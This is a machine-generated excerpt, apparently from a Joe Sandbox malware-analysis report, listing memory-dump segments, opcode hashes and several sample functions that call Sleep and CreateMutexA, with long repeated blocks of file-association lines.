Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: aa60628811c1640c146e34188da505203c1bbb7c9dde5c22ecc33c955ca49bdf
Instruction ID: aea8917cab962606e4bfad74826f66b15e76c8e60c7ec8d7dfdcd93e28693be0
Opcode Fuzzy Hash: aa60628811c1640c146e34188da505203c1bbb7c9dde5c22ecc33c955ca49bdf
Instruction Fuzzy Hash: EB3108B17041088BEB0CDBB8DC8977DBB61EFC9324F248218E558D77D5CB7599918712

Function 008FA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4db5f46b224723b5bd28e3f44689503120591a3481347704ffb679d0e7e72ebe
Instruction ID: f6a580f87cefce62b36c075cc9131e68f9f9b1d7e25f68a92c5dd3a670609866
Opcode Fuzzy Hash: 4db5f46b224723b5bd28e3f44689503120591a3481347704ffb679d0e7e72ebe
Instruction Fuzzy Hash: 033117B17142088BEB1CEB78DC89B7DBB72EBC5324F248218E568D73D5C77599808652

Function 008F9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 59eda11d2e7c8264770bc3869ef9fa4a024f46509c1ccf48e4ecf6e358ae2369
Instruction ID: b9866da3f0b1821b85f691b853f20ef3fa4e2a2b19b65568efeeb20009fab079
Opcode Fuzzy Hash: 59eda11d2e7c8264770bc3869ef9fa4a024f46509c1ccf48e4ecf6e358ae2369
Instruction Fuzzy Hash: 3D216A717042089BEB189F78ECC9B3DB761FBC1320F204228E568C77D5CBB659908711

Function 008FA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 77678af94c82cc50849a4fc021af7ccc920cf0b18850f66b04328325664fbb30
Instruction ID: f8b89b8d01d2818e57d417b347161f0c0f7260b64fc45258e7bdf2b3763a2409
Opcode Fuzzy Hash: 77678af94c82cc50849a4fc021af7ccc920cf0b18850f66b04328325664fbb30
Instruction Fuzzy Hash: 36214DB035520D9AF72CABB89C9AB3E7751FFC1764F204425E70CD72C1CAB545418153

Function 008FA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
